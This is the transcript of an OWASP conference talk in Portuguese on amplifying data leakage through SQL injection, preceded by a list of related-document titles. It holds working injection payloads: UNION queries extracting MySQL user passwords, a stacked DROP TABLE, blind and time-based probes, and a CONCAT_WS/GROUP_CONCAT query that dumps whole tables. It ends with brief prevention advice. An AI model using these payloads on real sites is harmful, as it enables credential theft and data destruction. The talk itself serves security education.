SQL Injection Amplifying Data Leakage OWASP. The OWASP Foundation http://www.owasp.org. Ulisses Castro Security Researcher uss.castro@gmail.



Documentos relacionados
Gestão de Segurança da Informação. Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem )

Os Desafios da Segurança no Desenvolvimento com Métodos Ágeis. OWASP Education Project. The OWASP Foundation

OWASP Portugal OWASP. The OWASP Foundation

Modelo de processo para desenvolvimento de aplicações seguras OWASP. The OWASP Foundation

SQL CREATE DATABASE. MySQL, SQL Server, Access, Oracle, Sybase, DB2, e outras base de dados utilizam o SQL.

PHP e MySQL Autenticação de Usuários

Segurança na Web: Uma janela de oportunidades OWASP. The OWASP Foundation Lucas C. Ferreira Câmara dos Deputados

OWASP. The OWASP Foundation As 10 mais críticas vulnerabilidades de segurança em Aplicações Web

Provedor . Políticas Convivência. Anti-SPAM. Políticas em s. Caso Snowden. Prof. Enzo Seraphim. Decreto 8135/2013

Entendendo Injeção de SQL

Teste de Invasão de Rede

INTELIGÊNCIA E DEFESA CIBERNÉTICA Estratégias para Combater Crimes Digitais. Prof. Deivison Pinheiro Franco deivison.pfranco@gmail.

Funções. Professor: Ricardo Luis dos Santos IFSUL Campus Sapucaia do Sul

Transações Seguras em Bancos de Dados (MySQL)

SQL TGD/JMB 1. Projecto de Bases de Dados. Linguagem SQL

SQL Linguagem de Definição de Dados. Banco de Dados Profa. Dra. Cristina Dutra de Aguiar Ciferri

Kaspersky Administration Kit

PHP INTEGRAÇÃO COM MYSQL PARTE 1

Mobile Application Security. The OWASP Foundation Wagner Elias CTO Conviso Application Security

MySQL. Prof. César Melo. com a ajuda de vários

RECUPERAÇÃO DE CONTEÚDO BANCO DE DADOS

PHP Programando com Orientação a Objetos

Programação SQL. Introdução

Projeto de Banco de Dados

CIÊNCIA E TECNOLOGIA DO RIO

O que são Bancos de Dados?

PostgreSQL. André Luiz Fortunato da Silva Analista de Sistemas CIRP / USP alf@cirp.usp.br

PostgreSQL e C++ (libpq)

Lidando com Armazenamento de Dados

APOSTILA BANCO DE DADOS INTRODUÇÃO A LINGUAGEM SQL

Triggers no PostgreSQL

Uso da ferramenta sqlmap para detecção de vulnerabilidades de SQL Injection

Sumário Introdução Breve História da Linguagem SQL l 0.3 Características da Linguagem SQL A Composição deste Livro 3

Métodos Ágeis e Segurança: Uma análise do cenário das empresas da Grande Porto Alegre. OWASP Caxias do Sul, 20/06/2012

Prof. Carlos Majer Aplicações Corporativas UNICID

Segurança na WEB Ambiente WEB estático

Apostila Delphi V 1.0

EXEMPLOS DE COMANDOS NO SQL SERVER

Ameaças, riscos e vulnerabilidades Cont. Objetivos

Josh Pauli Revisão técnica Scott White. Novatec

Easy Linux! FUNAMBOL FOR IPBRICK MANUAL. IPortalMais: a «brainware» company Manual

Escrito por Sex, 14 de Outubro de :12 - Última atualização Seg, 26 de Março de :33

PostgreSQL 8.0. Diogo Biazus

Nota de Aplicação. Relatório em HTML no Vijeo Citect 1.0. Suporte Técnico Brasil. Versão:

Comandos de Manipulação

Leonardo Gresta Paulino Murta

Administração de Usuários e Privilégios no Banco de Dados

O essencial do comando mysqladmin, através de 18 exemplos

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

LUMEWare 1.0 MANAUS 2009

Fundamentos de Ethical Hacking EXIN. Guia de Preparação. Edição

Formação em Banco de Dados

Linguagem SQL. Comandos Básicos

BANCO DE DADOS II Prof. Ricardo Rodrigues Barcelar

Introdução à Banco de Dados. Nathalia Sautchuk Patrício

SQL Linguagem de Definição de Dados. Laboratório de Bases de Dados Profa. Dra. Cristina Dutra de Aguiar Ciferri

BANCO DE DADOS. info 3º ano. Prof. Diemesleno Souza Carvalho

Sensor de temperatura Parte 5 Cleiton Bueno Preparando o ambiente do Banco de dados Mysql

Treinamento. "Contra defesa cibernética Teoria e Prática" Preparado por: Eduardo Bernuy Lopes Consultor Sênior red.safe ISO Lead Auditor

Firewalls de Aplicação WEB, Idiomas e Expressões Regulares. Condições de Bypass

INSTITUTO FEDERAL DE EDUCAÇÃO, CIÊNCIA E TECNOLOGIA DO RIO GRANDE DO NORTE INTRODUÇÃO A SQL

VULNERABILIDADES WEB v.2.2

Aula 14 Mecanismos de Proteção. Fernando José Karl, AMBCI, CISSP, CISM, ITIL

Escola Secundária de Albufeira. Comandos MySQL. (Páginas Web Dinâmicas: PHP e MySQL) Carlos Nunes

(In)Segurança em Aplicações Web. Marcelo Mendes Marinho Thiago Canozzo Lahr

BANCO DE DADOS -INTRODUÇÃO AO SQL. Prof. Angelo Augusto Frozza, M.Sc.

Qual a proposta? Hardening de infraestrutrua de hospedagem Firewall de aplicação Pentest de aplicações web Análise estática de código

Linguagem de Consulta Estruturada SQL- DML

Entendendo e Mitigando Ataques Baseados em HTTP Parameter Pollution (HPP)

Análise de Vulnerabilidades em Aplicações WEB

Triggers em PostgreSQL. Linguagem de Programação de Banco de Dados. Triggers em PostgreSQL. Triggers em PostgreSQL

Projeto de Otimização de Performance e Redução de Custos. Sistema On-line. Empresa de Serviços

Structured Query Language (SQL) Aula Prática

PRO201 - Integrando o Visual Studio 2005 Team Edition for Database Professional no Ciclo de Desenvolvimento de Software. Regis Gimenis - Microsoft

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Princípio dos anos 70 IBM desenvolve a linguagem Sequel para o System R. Standards ISO e ANSI SQL-86, SQL-89, SQL-92, SQL:1999, SQL:2003

Direito da Comunicação. A criação e difusão de informação na Internet

1 R$ 50,00 R$ 50,00 reusable object-oriented software 2 Utilizando UML e padrões: uma

Pré-Processadores Grupo SNORT-BR

FACULDADES INTEGRADAS PROMOVE DE BRASÍLIA PROJETO DE INICIAÇÃO CIENTÍFICA

PL/pgSQL por Diversão e Lucro

SQL Gatilhos (Triggers)

Linguagem SQL Restrições, Triggers e Views

Banco de Dados. Maurício Edgar Stivanello

GR1NCH/Rêner

XSS - CROSS-SITE SCRIPTING

Aula 13 Mecanismos de Proteção. Fernando José Karl, AMBCI, CISSP, CISM, ITIL

JDBC Java Database Connectivity

Guia do Sistema. =// GNU/Linux //= para o Usuário Desktop. Baseado no sistema. Slackware 11.0 / KDE 3.5. ### 4a. Edição ###

Modelo Cliente/Servidor Por HIARLY ALVES

Banco de Dados SQL (Structured Query Language) Ana Paula Toome Wauke

Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com

Armazenamento organizado facilitando SCRUD; Agiliza processo de desenvolvimento de sistemas;

LINGUAGEM SQL. SQL Server 2008 Comandos iniciais

CREATE TABLE AUTOR ( cod_autor int not null primary key, nome_autor varchar (60) )

Curso PHP Aula 08. Bruno Falcão

Transcrição:

SQL Injection Amplifying Data Leakage Ulisses Castro Security Researcher uss.castro@gmail.com Copyright 2007 The Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the License. The Foundation http://www.owasp.org

Ulisses Castro Consultor, Instrutor e Pentester Teste de Intrusão e Análise de Vulnerabilidades Hardening S.O e Banco de Dados Mantenedor Debian (selinux-basics) CEH Certified Ethical Hacker LPIC-2 Linux Professional Institute Certified Colaborador em diversos projetos de software livre relacionados com segurança 2

Agenda Introdução Técnicas utilizadas Potencializando UNION (inband) group_concat concat_ws Demo PoC: sqlidump Idéias e possibilidades Prevenções Ferramentas recomendadas Duvidas, agradecimentos, contatos... 3

Introdução - O que é SQL Injection? Ataque de injeção em aplicações que não tratam de maneira adequada a entrada de dados do usuário permitindo que comandos SQL maliciosos possam ser enviados ao banco de dados. Uma das mais antigas e ainda mais utilizada vulnerabilidade em aplicações web. (1998 - Phrack 54) 4

Técnicas utilizadas UNION (inband) http://www.site.com/index.php?noticia=13 UNION ALL SELECT query -- http://www.site.com/index.php?noticia=13 UNION ALL SELECT null, concat(user,0x3a,password), null FROM mysql.user LIMIT 0,1-- STACKED http://www.site.com/index.asp?noticia=13; DROP TABLE noticias; -- 5

Técnicas utilizadas BLIND http://www.site.com/index.php?noticia=13 AND SUBSTRING( SELECT USER(), 1, 1) = a -- BLIND (time based) http://www.site.com/index.php?noticia=13 UNION SELECT BENCHMARK(1000000000,MD5('testing')) 6

UNION (inband) DEMO Problema do LIMIT 7

Potencializando UNION (inband) GROUP_CONCAT() Retirado do manual (MySQL) This function returns a string result with the concatenated non-null values from a group. (...) The result is truncated to the maximum length that is given by the group_concat_max_len system variable, which has a default value of 1024. (...) 8

Potencializando UNION (inband) concat_ws() Retirado do manual (MySQL) CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments. The separator is added between the strings to be concatenated. The separator can be a string, as can the rest of the arguments. If the separator is NULL, the result is NULL. 9

Potencializando UNION (inband) concat_ws() Retirado do manual (MySQL) CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments. The separator is added between the strings to be concatenated. The separator can be a string, as can the rest of the arguments. If the separator is NULL, the result is NULL. 10

CONSULTA PREPARADA SELECT CONCAT('<DATA>','<row>',CONCAT_WS(CONCAT('<row>','<row>'), (CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS CHAR(10000)),0x20)),'<column>')),(SELECT CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS CHAR(10000)),0x20)),'<column>') FROM dummy.alunos LIMIT 1,1),(SELECT CONCAT('<column>',CONCAT_WS(CONCAT('<column>','<column>'),IFNULL(CAST(id AS CHAR(10000)),0x20),IFNULL(CAST(nome AS CHAR(10000)),0x20),IFNULL(CAST(email AS CHAR(10000)),0x20)),'<column>') FROM dummy.alunos LIMIT 2,1)),'<row>','<DATA>') FROM dummy.alunos LIMIT 0,1; 11

RESULTADO <DATA> <row> <column>1<column> <column>mario Brother<column> <column>mario@dummy.com<column> <row> <row> <column>2<column> <column>luigi Brother<column> <column>luigi@dummy.com<column> <row> <row> <column>3<column> <column>koopa Silva<column> <column>koopa@dummy.com<column> <row> <DATA> 12

Potencializando UNION (inband) DEMO sqlidump.py 13

Algumas idéias... BLIND QUERY SELECT ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),0x08) FROM dummy.alunos LIMIT 5,1),1,1)) <= 8; BLIND QUERY + CONCAT_WS() SELECT CONCAT('<BLIND>',GROUP_CONCAT(CONCAT( (ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),'NULO') FROM dummy.alunos LIMIT 1,1),1,1)) <= 8), (ASCII(SUBSTR((SELECT IFNULL(CAST(id AS CHAR(10000)),'NULO') FROM dummy.alunos LIMIT 1,1),1,1)) <= 100) ) SEPARATOR '-'),'<BLIND>'); 14

Prevenções - SQL Injection Prevention Cheat Sheet Prepared Statements Stored Procedures Escapar e validar entrada Política do menor privilégio White list, regex, etc... 15

Ferramentas recomendadas... sqlmap http://sqlmap.sourceforge.net sqlsus http://sqlsus.sourceforge.net sqlninja http://sqlninja.sourceforge.net bsql hacker http://labs.portcullis.co.uk/application/bsql-hacker/ 16

OBRIGADO! CONTATOS: Ulisses Castro uss.castro@gmail.com http://ulissescastro.wordpress.com http://twitter.com/usscastro 17